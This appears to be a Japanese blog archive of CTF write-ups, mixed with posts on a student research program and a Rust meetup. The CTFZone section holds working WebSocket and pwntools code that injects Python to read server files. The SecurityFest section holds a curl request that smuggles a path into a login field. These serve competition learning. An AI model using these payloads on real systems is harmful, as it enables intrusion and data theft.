CTFZone 2017 [Web Pwn] Mr.President Feedback

チームHarekazeで参加して、合計1147点で25位でした。 この問題の最終的な点数は460点です。

どんな問題?

以下のようなフォームが与えられます。

f:id:megumish:20170717194441p:plain

ただし、CAPTCHAの数式に答えてこのフォームを投稿しても意味はありません。

なぜなら/dev/null宛だからです。(本当に/dev/nullに送ってるというわけではなく、/dev/nullというパスにPOSTされるだけ。)

重要なのはCAPTCHAの生成や判定にWebSocketでの通信を行っていることでした。

Exploit!

ソースコードを見てみるとWebSocketでどんな通信を行っているのかがわかります。

sendメソッドがデータを送るメソッドで、onopenがソケットが開かれた時(つまり通信開始時)、onmessageがデータを受信した時に呼ばれるメソッドです。

function generate() {
    $("#msg").empty()
    ws.send(JSON.stringify({"method": "generate"}))
}
function validate() {
    hash = $("pre").attr("id")
    ws.send(JSON.stringify({"method": "check", "args": [hash, $("#answer").val()]}))
}
function createWebSocket(path) {
    var protocolPrefix = (window.location.protocol === 'https:') ? 'wss:' : 'ws:';
    return new WebSocket(protocolPrefix + '//' + location.host + path);
}


ws = createWebSocket(location.pathname + "feed");
ws.onopen = function() { generate()};
 
ws.onmessage = function(evt) { 
    data = JSON.parse(evt.data)
    if (data["status"] == "error") {
        alert(data["info"])
    } else  if (data["method"] == "generate") {
        $("#msg").append("<pre id=" + data["result"]["hash"] + ">"+ data["result"]["text"] + "</pre>"); 
    } else if (data["method"] == "check") {
        if (data["result"] == "Valid") {
            $("#submitBtn").prop('disabled', false);
        }
        alert(data["result"]);
        generate();
    }
    else if (data["method"] == "help") {
        alert(data["result"]);
    }
};

onopen、onmessageに関してはこちらで決めることができるので、新しくソケットを作りどんなデータを受信しているのか確認してみることにします。

exploit_ws = new WebSocket('ws://82.202.226.240/feed');
exploit_ws.onmessage = function(evt) { 
    console.log(evt);
};

こうすることでブラウザの開発者ツールによるconsoleデバッグが可能になります。

本家のソースコードを真似ると、送信可能なメッセージは次のような形式になります。

本家はJSON.stringifyを使っていますが、今回は直接JSON形式の文字列を入れていきます。

exploit_ws.send('{"method":"method_name", "args":[argv..]}');

これで相手側のメソッドに好きな引数を与えることが出来ます。

でもこのままだと言語も特定できずにやることがわからないので、まずはエラーをいくつか出して特定してみましょう。

そのために以下のような不正なメッセージをあえて送ってみます。

exploit_ws.send('{"method":"check", "args":[{文字列と数値以外の値}]}');
exploit_ws.send('{"method":"{絶対に存在しなさそうな関数の値}"}');

するとエラー文が出ます。それをそのまま検索するなり、勘と経験を使うなりして判断すると言語としてPythonが使われているということがわかりました。

もしかしたらただ分岐してメソッドを呼び出してる可能性もありますが、とりあえずその可能性は置いといて、メンバ関数を直接呼び出していると仮定すると

__dir__ を呼び出すと、全てのメンバが明らかになります。

今回は本当にメソッドを直接呼び出している形式だったので呼ぶことが出来ました。

exploit_ws.send('{"method":"__dir__"}');
(dataだけを抜粋)
data:"{"result": ["_server", "_port", "_table", "__module__", "_sock", "_last", "__init__", "reconnect", "operations", "generate", "check", "help", "__dict__", "__weakref__", "__doc__", "__slotnames__", "__repr__", "__hash__", "__str__", "__getattribute__", "__setattr__", "__delattr__", "__lt__", "__le__", "__eq__", "__ne__", "__gt__", "__ge__", "__new__", "__reduce_ex__", "__reduce__", "__subclasshook__", "__init_subclass__", "__format__", "__sizeof__", "__dir__", "__class__"], "method": "__dir__", "status": "ok"}"

色々ありますが、重要なのは _port_sock です。これを __setattr__ メソッドで変えることが出来るのが今回の肝となってきます。

portとsockを変えるとなんと自分の用意したサーバーで通信できるようになります。

実際に出来ることはgenerateのときにCAPTCHAで生成する数式の間の演算子とその画像(というか文字列)を指定できます。

ではここで2つ気になる点があります。それは

  1. 演算子は好きなものを指定できる。

  2. 答えは勝手に計算される。

ことです。試しに演算子*0# を入れてみると、答えは0になりました。つまり、これは任意のコードを実行できるということにほかなりません。

次に下のような2つのコードとサーバー側のスクリプトを用意します。

exploit_ws = new WebSocket('ws://82.202.226.240/feed');
exploit_cnt = 0
leak_str = ""
exploit_ws.onmessage = function(evt) { 
    data = JSON.parse(evt.data);
    if (data["method"] == "check") {
        if (data["result"] == "Valid") {
            leak_str += String.fromCharCode(exploit_cnt)
            exploit();
            console.log(leak_str);
            exploit_cnt = 0;
        }
        else {
        exploit_cnt++;
        }
    }
};
function exploit(){
    exploit_ws.send('{"method":"generate"}');
    exploit_cnt = 0;
    for(var i=0;i < 200; i++) {
        //数式を表す画像によってhash値が決まるがここでは'\n'を指定していて、そのハッシュ値は65581a86911b71d6ed073981562b24a2になる。
        exploit_ws.send('{"method":"check", "args":["65581a86911b71d6ed073981562b24a2", ' + String(i) + ']}')
    }
}
#サーバー側のコード
from pwn import *

context.log_level = 'debug'

l = listen(10000)
_ = l.wait_for_connection()
cnt = 100
while True:
    l.recvuntil('supported_operations')
    payload = "*0+ord(open(__import__('os',globals(),locals(),[],0).listdir('.')[15]).read()[%d])#" % cnt
    # __import()で import文と同様のことが出来る。
    #payload = "*0+ord(','.join(__import__('os',globals(),locals(),[],0).listdir('.'))[%d])#" % cnt
    #payload = "*0+ord(open('devnull').read()[%d])#" % cnt
    l.send(payload)
    l.recvuntil('translate')
    l.send('\n')
    cnt += 1

あとは サーバー側のpayloadを調節して、ファイルの一覧を作ったりして把握してフラグの入ったファイルを特定すれば終わりです。

しかし、実際にはフラグが入ってるっぽいファイルがなかったので適当にソースコードを覗いてみたところフラグが見つかりました。

SALT = b'ctfzone{87a55d7e34aae098be0316df6b8035e4}'

フラグctfzone{87a55d7e34aae098be0316df6b8035e4}

感想

取得するときに文字列が化けてつらかった。もっと短くして欲しい。

あと今回は線形探索で一文字ずつ探索したけど、実際は二分探索で二文字ずつ探索しても良かったのかなと思った。

問題はとても面白かったと思います。

おわり

第7期サイボウズ・ラボユースに人狼知能プロジェクトに関わるアイディアで採択されました。

サイボウズ・ラボユースとは

サイボウズ・ラボユースはCybozuLabsによる学生支援制度です。

ラボユース生及び研究生となったものはCybozuLabsの優秀な方の指導のもと、なんと"自分の好きな"活動を支援してもらえます。

もともとは技術力のある若者が他のアルバイトをやっている時間を有効活用して欲しいという志のもと始まったプロジェクト[要出典]なのでラボユース生になればお金を稼ぐことも出来ます。

ラボユースは関東在住の方を対象にしているプロジェクトですが、僕は関東在住ではないのにとりあえずやりたいことがあったので応募してみることにしました。

すると嬉しいことに遠隔からオンラインでの参加も良いということで、(オンラインでの参加のため)一ヶ月間の様子見期間としてラボユース研究生(こちらは支援はあるが無給)として採用されることになりました。

今後一ヶ月の活動次第ではラボユース生になることも可能らしいです。

僕のプロジェクトについて

僕のプロジェクトの目的は人狼知能プロジェクトにおけるサーバーの機能の改善・拡充を図り、中間目標として自分で人狼知能対戦サービスを運用すること、最終的な目標として人狼知能プロジェクト公式のサーバーとして採用 してもらうことです。

過去のプロジェクトを見るとOSやプログラミング言語はたまた暗号のライブラリのような汎用的・基礎的なものが並ぶ中、今回僕が応募したのは特定の一部のことに関するプロジェクトになります。

このサーバーを完成させることで更なる人狼知能プロジェクトの発展、敷いては人工知能技術の発展に寄与できるように頑張りたいと思います。

まだまだ至らぬところが多くありますが、メンターの方の力添えのもと自分の考えうるアイディアを実現していきたいです。

Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier [Analysis-Offensive 100]

exploit

forっぽい問題だったのでいきなりexploitから。

とりあえずbinwalkをしてみます。

$ ~/c/t/Analysis_offensive100> binwalk Forensic_Encyption

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13390         0x344E          Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1
29607         0x73A7          Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2
30177         0x75E1          End of Zip archive

zipファイルがふたつ含まれているようです。

さっそく解凍してみるとjpegファイルであるfile_1とzipファイルであるfile_2が出てきました。

$ ~/c/t/Analysis_offensive100> unar Forensic_Encyption 
Forensic_Encyption: Self-extracting Zip
"Forensic_Encyption" already exists.
(r)ename to "Forensic_Encyption-1", (R)ename all, (o)verwrite, (O)verwrite all, (s)kip, (S)kip all, (q)uit? q
$ ~/c/t/Analysis_offensive100> ls
Forensic_Encyption  files1.enc  files1.zip
$ ~/c/t/Analysis_offensive100> unar Forensic_Encyption 
Forensic_Encyption: Self-extracting Zip
"Forensic_Encyption" already exists.
(r)ename to "Forensic_Encyption-1", (R)ename all, (o)verwrite, (O)verwrite all, (s)kip, (S)kip all, (q)uit? R
  file_1  (20874 B)... OK.
  file_2  (418 B)... OK.
Successfully extracted to "Forensic_Encyption-1".
$ ~/c/t/Analysis_offensive100> file Forensic_Encyption-1/*
Forensic_Encyption-1/file_1: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, description=MM, xresolution=86, yresolution=94, resolutionunit=2, software=MM], baseline, precision 8, 641x417, frames 3
Forensic_Encyption-1/file_2: Zip archive data, at least v2.0 to extract

file_2はパスワードがかかってるようなので後回しにして、file_1をexiftoolにかけてみます。

$ ~/c/t/Analysis_offensive100> exiftool file_1
ExifTool Version Number         : 10.10
File Name                       : file_1
Directory                       : .
File Size                       : 20 kB
File Modification Date/Time     : 2017:05:01 12:40:54+09:00
File Access Date/Time           : 2017:06:24 16:44:45+09:00
File Inode Change Date/Time     : 2017:06:24 16:44:28+09:00
File Permissions                : rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : 
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : 
Exif Version                    : 0210
Components Configuration        : Y, Cb, Cr, -
User Comment                    : VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u
Exif Image Width                : 753
Exif Image Height               : 417
Compression                     : JPEG (old-style)
Thumbnail Offset                : 332
Thumbnail Length                : 2273
JFIF Version                    : 1.01
Image Width                     : 641
Image Height                    : 417
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 641x417
Megapixels                      : 0.267
Thumbnail Image                 : (Binary data 2273 bytes, use -b option to extract)

怪しいユーザーコメントがあります。これをbase64でデコードすると

$ ~/c/t/Analysis_offensive100> echo 'VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u' | base64 -d
Turing_Machine_automaton⏎       

と出てきます。この文字列を使ってfile_2をunzipしようとしましたが出来ませんでした。

$ ~/c/t/Analysis_offensive100> unzip Forensic_Encyption-1/file_2
Archive:  Forensic_Encyption-1/file_2
   skipping: key.txt                 unsupported compression method 99

調べてみると7zコマンドで解凍できるようでした。今度は解凍できました。

解凍すると今度はkey.txtが出てきました。

$ ~/c/t/Analysis_offensive100> cat key.txt
src 192.168.30.211 dst 192.168.30.251
        proto esp spi 0xc300fae7 reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x2f279b853294aad4547d5773e5108de7717f5284
        enc cbc(aes) 0x9d1d2cfa9fa8be81f3e735090c7bd272
        sel src 192.168.30.211/32 dst 192.168.30.251/32
src 192.168.30.251 dst 192.168.30.211
        proto esp spi 0xce66f4fa reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x3bf9c1a31f707731a762ea45a85e21a2192797a3
        enc cbc(aes) 0x886f7e33d21c79ea5bac61e3e17c0422
        sel src 192.168.30.251/32 dst 192.168.30.211/32

これを使うとパケットの暗号を復号できるようですが、肝心のパケットが含まれたpcapファイルが見つかりません。

そこで始めに与えられたファイルにstringsをかけるとfile_3がfile_1,file_2とは別に含まれているようです。

試しにzipinfoをすると確かにfile_3がありました。

$ ~/c/t/Analysis_offensive100> zipinfo -v Forensic_Encyption 
Archive:  Forensic_Encyption
There is no zipfile comment.

End-of-central-directory record:
-------------------------------

  Zip archive file size:                     30199 (00000000000075F7h)
  Actual end-cent-dir record offset:         30177 (00000000000075E1h)
  Expected end-cent-dir record offset:       30177 (00000000000075E1h)
  (based on the length of the central directory and its expected offset)

  This zipfile constitutes the sole disk of a single-part archive; its
  central directory contains 3 entries.
  The central directory is 156 (000000000000009Ch) bytes long,
  and its (expected) offset in bytes from the beginning of the zipfile
  is 30021 (0000000000007545h).


Central directory entry #1:
---------------------------

  file_3

  offset of local header from start of archive:   0
                                                  (0000000000000000h) bytes
  file system or operating system of origin:      MS-DOS, OS/2 or NT FAT
  version of encoding software:                   2.0
  minimum file system compatibility required:     MS-DOS, OS/2 or NT FAT
  minimum software version required to extract:   2.0
  compression method:                             deflated
  compression sub-type (deflation):               normal
  file security status:                           not encrypted
  extended local header:                          no
  file last modified on (DOS date/time):          2017 May 15 16:39:40
  32-bit CRC value (hex):                         c21779bc
  compressed size:                                13354 bytes
  uncompressed size:                              31112 bytes
  length of filename:                             6 characters
  length of extra field:                          0 bytes
  length of file comment:                         0 characters
  disk number on which file begins:               disk 1
  apparent file type:                             binary
  non-MSDOS external file attributes:             000000 hex
  MS-DOS file attributes (00 hex):                none
...

ファイルの先頭がおかしいようなので先頭の二文字をPKに変えると今度は解凍するとfile_3が出てくるようになりました。

file_3は予想通りpcapファイルだったのでこれをwiresharkに突っ込み、以下のブログの通りにESPの復号をします。

saitoh.hatenablog.jp

すると以下のhtmlファイルが手に入るのであとは Enigma M4 - Simulator by dp を使いフラグを手に入れます。

<HTML>

<BODY>

M4 Navy

Reflector:C Thin, beta, I, IV, II (T M J F), Plugboard: L-X/A-C/B-Y



TMCTF{APZTQQHYCKDLQZRG}



APZTQQHYCKDLQZRG is encrypted.



</BODY>

</HTML>

フラグ TMCTF{RISINGSUNANDMOON}

rising sun and moon

Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier [Reversing 200]

観察

revですがバイナリではなく何かのログのようなtxtファイルが渡されます。

Using Clock:64, Invert:0, Bits Found:625
ASK/Manchester - Clock: 64 - Decoded bitstream:
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101

なにやら周期性がありそうです。しかし、それだけだと何もわからないので"Using Clock:64,“を引用符付きで検索してみました。 すると次のページがひっかかりました。

Help identifying Erone Mini Series passive tag / 125 kHz Low Frequency / Proxmark developers community

どうやらRFIDに関する何かのようです。

次にRFIDとManchesterについて検索をしたところ次のページが出ました。

Decoding an EM4100 Manchester Encoded RFID Tag |

RFIDは連続した9つの1がデータのヘッダーを示すようですが、上のtxtにも連続した9つ以上の1がありました。

今回の問題はRFIDデータのタグに関する問題のようです。

Exploit

Exploitといってもただ先程のページに示したとおりにbit列を解釈するだけです。幸い同じbitが繰り返されてるようなので、paritycheckはいりませんでした。

$> python converter.py | python show_info.py
0xfeeddecafe6
#converter.py
header_count = 0
end_header = False
parity_bit = False
row_count = 0
data_count = 0
data_str = ''
for bit in '11101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101111011111011100010100111101110101100111111111111101110111101110111101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101111011111011100010100111101110101100111111111111101110111101110111101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101':
    if not end_header:
        if bit == '1':
            header_count += 1
        else:
            header_count = 0
        if header_count == 9:
            end_header = True
    else:
        data_count += 1
        data_str += bit
        if data_count % 5 == 0:
            print(data_str)
            data_str = ''
            row_count += 1
        if row_count == 11:
            break
#show_info.py
import sys

bit_stream = ''
for line in iter(sys.stdin.readline, ""):
    line = line.strip()
    bit_stream += line[:-1]
print(hex(int(bit_stream,2)))

フラグは大文字を指定されているので TMCTF{FEEDDECAFE} を提出して終わりです。(最後の6はparitycheckの一部です)

SecurityFest CTF 2017 [Web 200] Freddy vs json

SecurityFest CTF 2017 に チームHarekaze で参加しました。 チームの総得点は1660点で自分はそのうちの250点解きました。

Freddy vs json

ページを開くとよくあるログインフォームにメールアドレスとパスワードの入力欄があります。

適当に埋めて送信すると

Invalid username or password!

と怒られます。

Exploit

http://52.208.132.198:2999/index.jsを見るとページのソースコードを見ることが出来ます。

ちなみにこれはエスパーして発見しました。(一応ヒント(?)として/static/index.jsがheadでインポートされていることはわかるが……)

ソースコードを見ると

 if(req.body.user && req.body.pass){
        user = req.body.user;
        pass = crypto.createHash('md5').update(req.body.pass).digest("hex");
        //Query internal login service
        request("http://127.0.0.1:3001/createTicket/"+user+"/"+pass, function(error, response, body){
            console.log(body);

という部分があり、これによりログイン判定をしていることがわかります。

またソースコードのはじめに

require('./local');

local.jsを読み込んでいる記述があるのでそれも見てみます。

以下の記述より、ポート3001で待ち受けているローカルサーバーの処理が書かれていることがわかります。

localapp.listen(3001, '127.0.0.1', function () {
  console.log('JWT service up!')
});

さらに

db = [
    {"user":"admin","pass":"9c72256fdb7196d2563a38b84f431491","id":"1"}
];
…

…
function verify(user, pass){
    db_user = db[0]; //TODO: sync with LDAP instead
    if(user && user == db_user["user"]){
        if(pass && pass == db_user["pass"]){
            return db_user["id"];
        }
    }
    return 0;
}

localapp.get('/createTicket/:user/:pass', function (req, res) {
    user = req.params.user;
    pass = req.params.pass;
    userid = verify(user, pass);
    if(userid){
        res.send('{"authenticated":true, "user":"'+user+'", "id":'+userid+'}');
    }else{
        res.send('{"authenticated":false, "user":"'+user+'", "id":'+userid+'}');
    }
})

とあることから、curl -v -d 'user=admin%2f9c72256fdb7196d2563a38b84f431491%3fa%3d&pass=a' 52.208.132.198:299

と送ることでサーバー上ではhttp://127.0.0.1:3001/createTicket/admin/2f9c72256fdb7196d2563a38b84f431491?a=a/というリクエストが送信され

ログインに成功しflagが手に入ります。

(ログイン時に判定されるpassはmd5ハッシュ化されたものであることに気づけばいい。)

{"authenticated":true,"user":"admin","id":1,"response":"Congratulations: SCTF{1nj3ction_5chm1nj3ctioN}"}

flag SCTF{1nj3ction_5chm1nj3ctioN}

三種の勉強会盛り合わせ日記(一日目)

3月の23~25日までに三つの勉強会に参加してきたので、感想をまとめて書いておきます。

Rust プログラマーミートアップ

前日譚

今回東京に行こうと思ったきっかけがこの勉強会です。

今までも何回かRustのイベントがあることは知っていたのですが、どれもRustを(あまり)知らない方向けという感じでした。

しかし、プログラマーミートアップはそれらに比べると本格的なRustLangを使った技術に触れられそうな気配を感じ取りました。

そして何よりも

こんなことをツイートする通り、Rustのことを(自分の中では)得意な言語だとは思ってるものの

本物のRustのプロ各位はどんなことをやっているのか気になってたまらなくなり、前日に急遽行くことを決めたというわけです。

感想

コンパスのサイト

最初の方の話は諸事情で30分遅れぐらいで参加しました。

英語圏の方の発表でしたが、英語があまり分からない僕は「Rustで作ったライブラリは高速だ!」ということぐらいしかわかりませんでした。

二番目の発表はiOSアプリの開発者の方でSwift使いから見たRustの利点などを話していました。

Swift にも if let 式があるのですが、 let を複数かけるらしくその機能はぜひRustにも取り入れてほしいです(今のところはタプルを使うことで同じようなことはできますが…)。

三番目の発表はTwitterGoogle検索でもよく見るRust皿が頭についた河童のアイコンのκeenさんの発表でした。

発表に使われたソースコードはRustの機能を上手くつかっていて、見ていて「なにこれ、ぼくのかいてるRustとちがう」となりました。

開発に便利なライブラリの紹介もあったのでぜひ使っていきたいです。

[κeen](http://keens.github.io/slide/Rust_in_Production/)さんのスライド

懇親会では検索エンジンの会社に勤めている方と話したり、κeenさんとこばさんの(qnighy大丈夫かみたいな)話を聞いたりしました。

もっとくわしく勉強会の内容について知りたい方は、僕に直接リプライを送ったりすれば答えられるものは答えます。

また、Twitterハッシュタグ(#rust_jp)でも参加者各位のライブツイートがあるのでそれも参考にしてください。

本日の記事は以上です。次は二日目の記事(Vuls祭り#2)を明日とかに書きます。

33C3CTF WriteUp pay2win [200] web

cheapとflagが買えるようです。
まずはcheapから買ってみることにしましょう。
f:id:megumish:20170103235550p:plain
クレジットカードナンバーはcredit card number sample などで検索して出てきたものを入力してもいいですが、
実はLuhnアルゴリズムが通る数字ならなんでもいいっぽいので0でも入力しておきます。
f:id:megumish:20170103235637p:plain
0を入力すると無事にcheapを購入することができ、cheap.txtの中身を見ることができます。
f:id:megumish:20170103235659p:plain
次にflagを購入してみましょう。
flagもcheapを買ったときと同じように、0を入力し購入できるか試します。
おっと、クレジットカードの使用限度を超えていて買えないようです。
f:id:megumish:20170103235718p:plain

おおよそflagを手に入れる方法は次の二つです。
正しいクレジットカードナンバーを入力するか、cheapの購入後画面でをcheap.txtをflag.txtを何らかの方法で書きかえることで手に入れるかです。
答えを先に行ってしまうと正しかった方は、cheap.txtをflag.txtに書きかえる方です。

以下flagを発見した手順です。
まず、cheapを購入する場面でのURLのdataの値と、flagを購入する場面でのURLのdataの値を比較します。

cheap:5e4ec20070a567e03c598eac510b4a85475daa246cb031e03b5b0554edda4f8828df361f896eb3c3706cda0474915040
flag :5e4ec20070a567e03c598eac510b4a85d1d71c0ceb6e8d6d4f75c9736d3b8e0641e7995bb92506da1ac7f8da5a628e19ae39825a916d8a2f

ここでまず、二つのdataの長さが違うことに気付きます。自分はflagのdataの末尾にあるae39825a916d8a2fという文字列をcheapのdataの後ろに引っ付けて試してみることにしました。
すると次のような画面が現れました。
f:id:megumish:20170103235750p:plain
なんとcheapがcheapgになっています。これによりae39825a916d8a2fがflagの末尾であるg部分に対応すると推測できます。*1
しかし、flagやcheapの文字ひとつひとつがハッシュ化されて末尾に固められているという確証はまだできません。
もしかしたらハッシュ値全体にちりばめられている可能性もあるからです。
次に、cheapを購入する前と購入後のdataの値について比べてみます。

cheap購入前:5e4ec20070a567e03c598eac510b4a85475daa246cb031e03b5b0554edda4f8828df361f896eb3c3706cda0474915040
cheap購入後:5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88d527869fa7bdbef28df361f896eb3c3706cda0474915040

後ろの32文字に注目すると、28df361f896eb3c3706cda0474915040という同じ文字列で構成されていることがわかります。
二つのページで共通する文字列はcheapだけであるため後ろ32文字がcheapを表しているということがおおよそ確定できます。

つまりcheap購入後の後ろ32文字と同じ位置にあるflagの後ろ48文字を交換すれば見事flagがとれるのではないでしょうか、早速試してみます。
はい、とれました。おわり。
f:id:megumish:20170103235815p:plain
フラッグ

33C3_3c81d6357a9099a7c091d6c7d71343075e7f8a46d55c593f0ade8f51ac8ae1a8

*1:まだサーバーが動いてるなら試すことができるが、ae39825a916d8a2fをさらに付け加えると、どんどんgを増やすことができる。